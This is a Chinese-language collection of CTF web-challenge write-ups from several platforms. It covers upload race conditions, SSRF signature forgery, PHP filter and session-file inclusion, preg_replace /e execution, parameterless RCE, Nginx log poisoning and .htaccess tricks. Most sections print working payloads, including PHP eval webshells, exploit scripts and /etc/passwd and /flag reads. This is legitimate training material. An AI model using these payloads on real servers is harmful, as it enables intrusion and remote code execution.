2025暑假作业(7.21~7.27)
wzsc_文件上传【攻防世界(难度5)】
打开环境
很简介的一个页面,先看下源代码有啥东西不
很干净,直接上传一个php看看
这里直接跳转过来
看下有没有成功
没反应,上传一张图片看看
不管怎样都只有这一个界面
emmm,扫一下看看
果然扫出东西来了
这里有一个flag.php,虽然应该是没有看一下
去看下index.html
这个就是上传文件的页面
看下upload这个界面
可以发现在这里可以找到我们上传的文件
这里php不允许上传
这里基本上测试了一下,这种黑盒只能慢慢测
目前看来,文件后缀是被过滤的
但是他好像是没有检测文件内容
MIME头好像也不检测
目前已知的被ban掉的后缀有
.htaccess php phtml
这里尝试了其他没有办法了,想到还有一个条件竞争
再抓包看了一下
注意这个东西
这里显示出来是200的响应
所以可以说明我们的上传是成功的
但是我们在目录里并没有看见我们上传的文件
应该是被在很短的时间内给删除了
这里就可以构造一个很简单的条件竞争
我们一直在upload目录这里访问我们上传的马
然后我们再一直传马
这个是访问的马
这个是上传马的
开始竞争
这里可以发现成功的访问了
但是这个只是证明访问成功,访问成功之后就会被删除掉
这里换一个思路
直接运行phpinfo()在这个文件里面,当我访问到的时候就能看了
这里再上传一波
也有可能是竞争的问题,也可能是环境
但再换一种思路
这里生成一个文件看看行不行
再开始竞争
终于是进去了
直接蚁剑连接看一下
进去找
这个不对
这个才是
题目名称-SSRF Me【攻防世界(难度5)】
打开环境
先看网页源代码
这里有一个hint告诉我们不能访问外网
然后就先去看下第二个框框里面是要干什么
Captcha: substr(md5(captcha), -6, 6) == "85853e" reset
这里就类似平时见的那些验证码
这里就是captcha这个就是验证码的意思
这里就是说这个验证码的md5加密的最后六位要与后面的相等
才能去访问网址
后面那个reset就是刷新后面的验证码换一个六位数
这里就可以直接使用python脚本来爆破
这里我个人认为比较简单的就是累加
从1开始一直加1知道直到找到为止
写脚本
点击查看代码
from hashlib import md5
b = '0'
def caculate_md5(text,encoding='utf-8'):
hash_md5 = md5()
hash_md5.update(text.encode(encoding))
a = hash_md5.hexdigest()
result = a[-6:]
return result
while True:
if caculate_md5(b) == '85853e':
print(f'所输入验证码是:{b}')
print(f'MD5值是:{md5(str(b).encode()).hexdigest()}')
break
b = str(int(b) + 1)
计算一手
这次访问一下那个第一个框框里面的网址看看
好家伙,又给我多了一个框
那看来这个80端口估计就是这个框了
尝试一波看看会不会直接这样藏在目录下
回显发生了变化说我是hacker
看一下是哪个被过滤掉了
看来是flag被过滤了
url编码看一手
这里必须要注意一个问题
在线工具基本上编码的都是一些特殊字符
在url中flag这种一般字符是允许存在的
所以这里我们要注意在线工具是无法对他进行直接编码的
可能也有但是我没有找到
所以这里我们编码需要直接从进制进行编码
这里的url编码其实就是将其编码为16进制的数字前面再跟上%
这就形成了url编码
所以这里我们需要直接帮字符串转换成16进制
后面的数字就是%后接的数字
这里写一下
%66%6c%61%67
这里再解码看一下
再访问了看一下
这种访问不行,换一下用file协议
空的???
emmm,php去掉看一下
看见flag了
[De1CTF 2019]SSRF Me【BUUCTF】
打开环境
一眼看过去是一个flask框架,所以我们拿去整理一下看看
这下看着舒服多了
不过以防AI更改过内容,这里把两个内容编排到一起
再丢给AI查看一手
这里还发现了另外的方法直接使用pycharm然后Ctrl+Alt+L可以格式化代码
这里用的是trae不知道有没有相对应的方法,就可以直接使用black来格式化
直接允许命令
black target.py
这里尝试一下看看
但是这里black格式化不了,用autopep8也不行
还是去用pycharm看一下
还是不行,emmm,还是AI好用
点击查看代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
接下来就是审代码
这里就直接先看路由,因为这个和目前题目的联系最大
有三个路由
定义一个geneSign的函数
从url中获取param这个参数并赋值给param
讲scan赋值给action
最后返回生成的签名
定义一个chakkenge的函数
从cookie获取action和sign
从url参数获取param
获取客户端的ip
之后先去看waf这个函数
这个就是检查文件开头是不是gopher或者file
是就返回True不是返回False
所以上面就是如果防火墙返回true就返回no hacker
然后是创建task实例
这里再来看一下这个task实例
task类里面又分三部分
这里就是初始化类的方法接受四个参数
这里的self是一个python自动运行传入的参数
目的是为了帮助你访问当前实例的属性,设置实例状态,确保操作作用于特定实例(沙箱隔离的关键)
然后存储操作类型,存储参数,存储签名,使用客户端 IP 的 MD5 哈希值作为沙箱目录名
然后就是创建沙箱目录,如果没有就创建
定义一个任务执行的方法
先初始化result这个字典
设置状态码是500
然后就是检查签名
如果scan在action操作中
在沙箱目录中创建结果文件
然后扫描这个url
如果扫描超时就记录结果
如果没有就打印扫描结果,再写入结果文件
设置状态码为200
如果read在操作中打开结果文件
设置状态码为200
读取结果文件
如果状态码是500返回action error
如果签名错误就设置状态码500返回sign error
最后返回结果
定义检查签名的方法
比较本地生成的签名和客户端的签名一样返回true否则返回false
这里去找一下getSign这个函数
这个就是返回secert_key和我们传入的两个参数的md5值
这里虽然看完,但是一时候还是没有反应过来,代码不熟悉
去看了一下wp到结果那里突然就悟了
这里scan扫描的目录是我们给的目录我们可以直接给他一个flag.txt
至于这里为什么直接是falg.txt这里在我看来是要尝试出来的
因为一般直接可以让你找到的大多数都是flag.txt或者flag.php这两种
分别实验一下就可以了
这里exec这个方法就显得非常重要,当action中又两种方法的时候才会打印flag
我们还要绕过checksign的检查,这个就是我们要做到
注意这个路由
这里的action里面有scan
所以实际上sign值由param和acxtion决定
这里我们原本要传入flag.txt来获取sign值
但是action中又需要read但是他的检验是in所以我们可以传入param是flag.txtread
最后就变成了md5(xxxxflag.txtreadscan)
相当于action被我们认为拼接为readscan
再通过这个路由传参把结果返回出来
/geneSign?param=flag.txtread
再去传参
/De1ta?param=flag.txt
cookie:sign=bebf06d72782c9be122fb091eb43b1e8;action=readscan
\
得到flag
[NPUCTF2020]ezinclude【BUUCTF】
打开环境
看下源代码
密码现在知道怎么来了,但是这俩参数
扫一下看看有没有藏东西
好嘛不让扫
这里我们知道pass怎么来的,在看下post里有没有东西
然后看眼其他的
发现cookie里面藏东西了
这个hash应该就是pass了
这里把name改成1看一下
这个就是密码了
登录一下看看
这里中间存在302跳转,之前的一个是flllag.php具体几个l也不知道
反正应该是flag在的位置
这里bp抓包再发一下
这里可以看见了,访问一下这个文件看看
这里就是跳转到了我们之前看到的那个页面
就是404页面
这里可以看见响应里面有东西
点击查看代码
HTTP/1.1 200 OK
Server: openresty
Date: Wed, 23 Jul 2025 08:17:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: keep-alive
X-Powered-By: PHP/7.0.33
Vary: Accept-Encoding
Cache-Control: no-cache
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>
这里可以看见这个不是flag并且出题人想要一个girlfriend
然后使用get传参file并包含
使用伪协议看一下那个不是flag的文件
这里小技巧,当出现疑似flag的文件但不是flag大概率是源码泄露
拿来解码看一下
点击查看代码
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
这里可以看见一个简单的黑名单,不可以使用data,input,zip这三个协议
然后就没东西了,下面就是一个include
emmm,然后没思路了
这里之后是要去扫描目录,我们之前并没有限制他的线程数量
因为太大了,导致了其防火墙机制不准扫描
这里来学习几个参数
-e *
这个是扫描所有可能的文件扩展名
--timeout=
设置单个请求的超时时间,避免服务器卡顿,提高速度
-t 1
设置扫描线程,设置为1可以降低被waf阻挡的概率
-x 400,403,404,500,503,429
排除状态码,这里就是排除一些无用的状态码
-w db/dict_mode_dict.txt
指定字典
所有这里结合在一起就是
python dirsearch.py -u http://a326a4aa-1643-4189-a050-d7b4d457b829.node5.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,429 -w db/dict_mode_dict.txt
字典网址 https://github.com/H4ckForJob/dirmap/blob/master/data/dict_mode_dict.txt
这里发现有三个php文件,但是只有dir.php有用
看一下dir.php
这个是var_dump()的一个格式化输出,看一下源码
解码看一下
这个就是扫描/tmp这个目录并且使用var_dump()来格式化输出其内容
这里再了解一下/tmp这个是一个临时文件目录
之后就有两种方法
方法一 php7 segment fault特性(CVE-2018-14884)
这里先来了解一下这是个啥
简单来说就是一个绕过临时目录删除的机制
通过 php://filter/string.strip_tags 过滤器处理非 HTML 文件(如 /etc/passwd),PHP 解释器会因空指针引用导致进程崩溃(Segment Fault)
崩溃时 PHP 的垃圾回收机制被中断,临时文件未被清除,保留在 upload_tmp_dir 目录(默认 /tmp)
下面给出php版本条件
受影响版本范围 | 修复版本 |
---|---|
PHP 7.0.0 - 7.1.2 | 7.1.2x 修复 |
PHP 7.1.3 - 7.2.1 | 7.2.1x 修复 |
PHP 7.2.2 - 7.2.8 | 7.2.9+ 及 7.3+ 修复 |
这个漏洞的利用核心机制就是php://filter/string.strip_tags处理非html文件然后引发崩溃
常用的崩溃的patyload是
php://filter/string.strip_tags/resource=/etc/passwd
这里还要注意一个点,当我们在利用这个漏洞的时候,文件名需要进行目录扫描之类的手段获取
虽然request库这里是允许自己去定义名字但是,在利用这个漏洞的时候文件名是由php来定义
是一个随机化的名称,所以需要利用到dir.php来得到名字
这里这个脚本,在看完之后比较简单,就可以自己编写一下
这里一般来说是直接上传一个一句话木马然后再用蚁剑连接,但是这里的flag是藏在phpinfo里面
这里就直接上传phpinfo了
点击查看代码
import requests
from io import BytesIO
url = 'http://a326a4aa-1643-4189-a050-d7b4d457b829.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
payload = '<?php phpinfo();?>'
target = {'file' : BytesIO(payload.encode())}
requests.post(url,files=target)
运行脚本
然后去访问一下dir.php
这里产生了三个文件,看一下哪一个是
这里这三个文件是一样的
方法二 session.upload_progress 进行 session 文件包含
php版本大于等于5.4
这里直接用大佬的脚本
https://blog.csdn.net/weixin_45646006/article/details/120817553
点击查看代码
import io
import sys
import requests
import threading
host = 'http://050b5d04-a686-4e4f-ab4b-9d662cfce434.node5.buuoj.cn:81/flflflflag.php'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
再发送请求
[BSidesCF 2020]Had a bad day【BUUCTF】
打开环境
有俩按钮,先看下源代码看看有些什么东西
没啥隐藏的东西
点一下第一个按钮看看会发生什么
原来是狗叫
url也发生了变化
再看下另外一个
猫叫,url也变了
尝试访问其他看一下
说最近只支持猫狗
扫一下目录看看有没有藏东西
好家伙看见了一个flag.php
访问看看
emmm,看下那个index.php/login里面有没有什么东东
好像就是之前那个页面,不过没有任何的装饰
看下源代码里面
也是没有,点下按钮看看
就是之前那个
看下能不能用php伪协议访问看下index.php的代码
这里可以发现里面是有文件包含的,并且我们最后变成了index.php.php
那我们就直接输入index看看
php://filter/read=convert.base64-encode/resource=index
拿去解码看看
点击查看代码
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
可以发现中间的php代码
就是使用get传参category
然后使用strpos函数来查找字符串
也就是说只要我传的参数里面有woofers,meowers,index那都是符合逻辑的
然后他呢会自动在我上传的参数后面加上php
然后再包含
这里我们之前就找到了flag.php直接访问的话是不能访问的
应该是需要用到伪协议
这里找到的一个payload是这样的
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
直接把index拼接进去,就是因为php伪协议其会忽略路径中的无效部分
这里尝试一下这个payload
解码看一下
[BJDCTF2020]ZJCTF,不过如此【BUUCTF】
打开环境
这一串代码看着还是比较和蔼可亲的
还是分析一手
这里就是get传参了两个参数text和file
然后检查text里面是不是空的还有text里面有没有I have a dream
然后输出text的内容
然后对file进行正则匹配查看里面有没有flag
然后包含file
这里直接传参看看
?text=I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
但是发现用不了,应该是text那里不行
啧,傻了,file_get_contents是读取文件或者一个URI里面的内容
但是我这里如果直接这样写等于是赋值,这个就变成了一个变量而不是文件了
这里就得提起一个伪协议data://协议
这个伪协议产生的是一个data URI
所以这里可以使用data协议来绕过
再次构造payload
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
记得最好复制这些对象,去源代码复制,这样比较全
点击查看代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
依然先来理解一下这个代码
get获取id然后存储到session会话中
然后定义了一个函数complex()
接受参数re和str
这里要重点理解一下
这里就是更具re变量来进行匹配替换,后面的strtolower("\1")
里面的\1表示正则表达式里面的反向引用
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里其实就是第一个表达式,然后全部小写,
str就是目标字符串,就是等着被替换的字符串
这里就是遍历get传的参数参数名当作re的值,参数值当作str的值
然后输出complex的处理
这里附上相对应的解释
接着看
这里就是定义了一个函数来获取flag
所以构造payload
\S*={${getFlag()}}&cmd=system('ls');
这里来详细解释一下\S*
这个可以保证{${getFlag()}}所有字符串都可以匹配到
\S*是匹配所有非空的字符串
这样就可以保证在preg_replace()的时候反向引用能完整的获取到{${getFlag()}},从而执行next.php里定义的这个函数getFlag()从而可以进行代码执行
所以整个运行机制就是
$re匹配str然后用\1替换
接下来就是rce的事情了,找flag
next.php?\S*={${getFlag()}}&cmd=system('cat /flag');
[GXYCTF2019]禁止套娃
打开环境
看下源代码
看来要扫了
好家伙全是git泄露
得用到githacker了
用gihackar把源码全部搞下来
这个gihack可能是由于版本比较老了。克隆不下来
所以这里给出另外一个版本的
git clone https://github.com/lijiejie/GitHack
这下就对味了
把index.php拿出来
去trae里面看
这里一眼看过去是一个三层过滤
第一层
过滤了data协议,filter过滤器,php伪协议,phar协议
第二层
将xep里面的小写字母,逗号,下划线进行匹配
后面的是(?R)?这个是进行递归模式的匹配
然后外面的两个()表示其匹配的是函数的调用
比如func1()这样模式的才会匹配
第三层
过滤了et|na|info|dec|bin|hex|oct|pi|log
然后这题目前表现出来的是一个rce的情况,这里就目前看来最可能的就是无参数rce
因为第二层过滤比较狠,这个看着也是比较符合无参数rce的典型,只能用这样的模式func(fun())
还不能包含数字,只能有小写字母,逗号,下划线然后还需要有;
这里就正常构造payload
这里好久没用过无参数了,这里就详细写一下
方法一
localeconv():返回一包含本地数字及货币格式信息的数组。其第一个数组是.
current()返回数组第一个值pos()也行
这个配合scandir()就是ls的作用
scandir()就是扫描并返回当前目录
这里也是看见flag.php了
这里因为flag.php的位置比较靠后
所以这里使用array_reverse()反转一下位置
flag.php就是第二个位置了
就使用next()
这里就不能使用var_dump()他是用来输出变量的相关信息的
这里可以用highlight_file()来读取
highlight_file(next(array_reverse(scandir(current(localeconv())))));
方法二
这里知道了flag所在的位置可以直接使用session来获取
highlight_file(session_id(session_start()));
[MRCTF2020]套娃
打开环境
看看源代码里面有什么
这里首先要知道$_SEVER[]这个是全局变量,之后的QUERY_STRING指的是在url中?后面的内容
现在就是获取了url?后的内容然后赋值到query
然后计算query里面的_还有其编码后的是不是0
如果但凡有一次,就会直接死掉
然后就是一个get传参的如果不是23333或者正则的匹配^开头和$结尾这俩边界之内必须是23333
满足了进入下一步
这里又是新知识点
php在传参的过程中会自动帮空格和.转化为_
然后在正则的绕过可以加上换行符号来绕过
这里就i要详细了解一下$它不只是匹配字符串结尾,还匹配字符串末尾的换行符之前的位置
所以23333\n就是匹配23333
直接传参
?b.u.p.t=23333%0a
访问一下这个文件
看下网页的源码
疑似加密
一通搜索之下,知道了这个是jsfuck编码
这个名字不是很友好
在火狐浏览器里f12
进入控制台然后把那一串输进去回车
chrome也可以
这里就是一个弹窗弹出来
让我们使用post传Merak
也有在线网站
http://www.hiencode.com/jsfuck.html
这里就要了解一下什么叫Merak
结果愣是没找到
直接传Merak看一下
这里也是成功了
接下来就是一波简单的代码分析
上面就先不用看了
直接看下面的绕过
ip得是127.0.0.1
2333得是那句话还得是个文件或URI所以用data://
最后就是一个解密的函数所以我们要进行解密
X-Forwarded-For: 127.0.0.1进行ip绕过
2333=data://text/plain,todat is a happy day进行绕过
剩下这个我们要访问的是flag.php进行一波编码
点击查看代码
<?php
$plain = "flag.php";
$decoded = "";
for ($i=0; $i<strlen($plain); $i++) {
$decoded .= chr(ord($plain[$i]) - $i*2);
}
$file_param = base64_encode($decoded);
echo $file_param;
得到答案
最后就是发包了
结果发现使用xff包发不出去
所以这里使用报头来发包
Client-ip:127.0.0.1
web签到【CTFSHOW-菜狗杯】
虽然但是,这题是签到题目
但是感觉这题还是得写一下
打开环境
这个题目长的非常的新颖,一开始代码没看懂还是有点难以理解这个payload的
这里就来先逐层分析一下代码
先是从cookie来获取一i个值
这个值用来作为post传参的参数名
然后再从post传参这里获取一个值
再用这个值来做get传参的参数名
然后再从get传参获取一个值
作为request的参数名
再获取request这个多维数组索引
构造出payload
?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system('ls');
post:a=b
Cookie:CTFshow-QQ群:=a
直接使用hackbar发
这里之所以会写这题是因为一开始做的时候
后面那一串完全没看懂
是后面慢慢才理解后面那一串是多维的数组
这里可以简单写一下这个多维数组实际上就是数组里面嵌套这数组像这样
这里写的是php的数组其他有些表现不一样
[[1],[1,2,3,[4,5,6]]
这中就叫做多维数组
我们上面就是把c初始化成一i个数组,然后在题目需要的维度赋值这样就能够访问了
Is_Not_Obfuscate 【CTFSHOW-菜狗杯】
先看下题目
说是纸老虎,先搜一下这啥意思
大概就是不是混淆的,应该就是会是比较清晰的解题思路
打开环境
先打开源代码看一下
告诉我们只能执行加密的代码
但是下面有俩特别的东西
让我们在使用index.php先去测试一下lib.php
然后再删除robots.txt
去看下lib.php是啥
啥也没有,再看下robots.txt
看见了俩特别的东东
看下lib.php/?flag=0是啥
emmm,再看下plugins
没有东西
莫非是上面那个传参,看下1是啥
突然冒出来一堆源码,测试了下好像是随便输入一个不是0都可以触发
应该是base64解码看看
结果不是,直接拿去首页执行看看
但是无事发生,再看下源码
执行的按钮得是这里的这个,改一下
再执行
然后弹出源码来了
然后就是代码审计,重点是下面那一串代码
之后就是通过action来获取是要执行哪种情况
然后就是读取./plugins/目录下的inpiuit输入的内容就是这个文件
然后解码,执行php代码赋值给output
输出pull success
下一个就是将文件写入的代码文件名是output的值加盐值youyou然年后编码
先写马
?action=push&output=<?php @eval($_POST[1]);?>
计算一下文件名
直接执行就可以了
这里也执行不了不知道为什么,人家的倒是可以
?action=push&output=<?php eval($_GET[1]);phpinfo();?>
?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls");
web81 【CTFSHOW】
这题有点简单,但算学个新东西
打开环境
感觉长的很友好的样子
看下源码有没有藏东西
这种样式大概率是没有的
就是一个简单的过滤然后下面include(file)
这里php,data,:都被过滤了杯替换成???
这里就要用一个新东西,emmm
应该说之前用的少的东西,也不记得有没有了
这里就是日志包含来进行getshell
首先访问一下日志文件
/var/log/nginx/access.log
Nginx 默认的访问日志(Access Log)存储路径,记录了所有客户端请求的关键信息
?file=/var/log/nginx/access.log
这里这个很明显的可以看出这个是我访问他的日志
可以看见这里记录了我们很多的信息
这里可以抓包比对一下
GET / HTTP/1.1
Host: 10a4f835-a708-4483-b2d9-e16f3f90c5d2.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
这个是抓包后的信息所以可以分析出来
这个日志里面记录着我们的ip,请求时间,方式,协议,状态,长度,根域名,还有最重要的UA
因为这里如果要在里面写马的话
只有ua是我们可以去控制的,这里直接使用hackbar来写马
直接当马用就行了
这里还要注意cat不能用
这种的使用条件最基本的是要能够访问日志
web160 【CTFSHOW】
也是一个新东西
打开环境
文件上传,看下源码有没有藏东西
看来是没有
上传一个php文件看看
上传一张图片看看
莫非是我屏幕截图太名字太长了?
好家伙,看下jpg
也是不行,一番试下来
好家伙,非要这样才能上传
这里有个新东西,包含日志来上传
首先正常上传user.ini
直接把后缀改成png上传了再用bp抓包
他只是在选择文件的时候进行了过滤,并没有在上传的时候进行过滤
再编写一下图片马
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。
这里的log是被过滤的
php中使用.来连接
上传了看看
再去访问一下日志文件
然后就是极其的蒙圈
就是找不到,不知道是不是环境的问题,但这题是被做掉的
就很懵,照着wp做也是不行
就非常的懵了
但之后这题1和上面一题一样了都是直接使用ua来写马然后访问
之后再尝试一下
[NSSRound#28 Team]ez_php 【NSSCTF】
打开环境
这里是一个比较常规的php的一个绕过
post传a,b然后get传password
然后就是一个is_numeric的简单绕过
直接加上一个字母就ok了
再之后就是一个md5的一个强比较,直接使用数组绕过就可以了
最后是一个post传参的file
这里很明显就是包含level2.php
构造payload
这里源码没有出来,用伪协议php://
解码一下
点击查看代码
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>
这里又是一个rce的绕过
这里使用正则匹配过滤了很多东西
目前看来只有自增可以使用,但是这里长度有限制,这里就可以使用grt传参或者post传参来减少rce的长度
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
这个实际上就是1('2')
所以这里可以直接传,就能得到了php
上传 【polarctf-困难】
打开环境
非常简洁的一个文件上传的界面
看下源代码有没有藏东西
看来没有
直接先上传一个php看看什么情况
不允许上传
看下.htaccess
上传成功,看下图片马可不可以传
咋没反应呢,看下源代码
emmm
这感觉不像成功了啊
看一下能不能执行命令
没反应
bp抓包上传一个看看
好家伙,一样的,会不会是提示我们这个东西被ban掉了
换成其他标签看看
<script language="php">@eval($_POST['1']);</script>
也是上传成功了
看下能不能执行
命令执行不了。看下能不能用蚁剑连接一下
emmmm,去查询了下,php版本大概高于7.0的时候就不能用了
这里之后就尝试了其他,看了下user.ini也不行,之后就没招了
看了下wp发现可以使用base64进行绕过
点击查看代码
AddType application/x-httpd-php .png
php_value auto_append_file
php://filter/convert.base64-decode/resource=1.png
依然发送.htaccess
这里可以使用反斜杠绕过
再上传一个base64编码的图片马
然后蚁剑连接就可以了
但是这里环境抽风了,重新启动之后也是这样
有没有哪位大佬饥饿时一下,不知道是不是服务器的问题
后面又尝试了一下,那个base64编码有问题
然后我之前的配置文件.htaccess也是有问题
这里给出正确的
点击查看代码
AddType application/x-httpd-php .png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.png"
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
这里就详细饥饿时一下这个.htaccess的细节
\绕过之后要换行,在apache在服务器中,\和\n也就是换行符号
\是叫做续行符号
后面的表示是同一指令,如果不换行,会产生命令解析错误,可能会将\视为普通字符
解析错误
这里之后就能连接上了
PHP是世界上最好的语言【polarctf-困难】
打开环境
长的很不讨人喜欢,先看下网页源代码里面有没有藏东西
看来是没有
首先就是包含flag.php这个文件,他告诉我们flag是在flag的变量里面
定义一个变量c并且用post请求从sys中来获取值
定义俩变量key1和key2并且赋值为0
之后就是检测是否通过get或者post传参发送了flag1或者flag2有一个就直接die
这里要了解一下parse_str()函数
parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量,导致变量覆盖漏洞。
这里再结合之后的extract()获取post的请求内容
extract() 将 $_POST 数组的键名作为变量名、键值作为变量值,覆盖已有同名变量。
若POST中也有flag1,则它会覆盖parse_str()生成的$flag1。
这里我们就可以通过get传参来传到post请求中
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
这个就绕过了第一层
然后让我通过post传参传504_SYS.COM
这里其实是要绕过php不允许传非法字符
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
所以这里就可以变成
504[SYS.COM
最后解析之后就是504_SYS.COM
最后可以看下被过滤了非常多的符号,异或,取反,自增也是不行这些都别想了
方法一(直接输出)
echo $flag
无参数rce
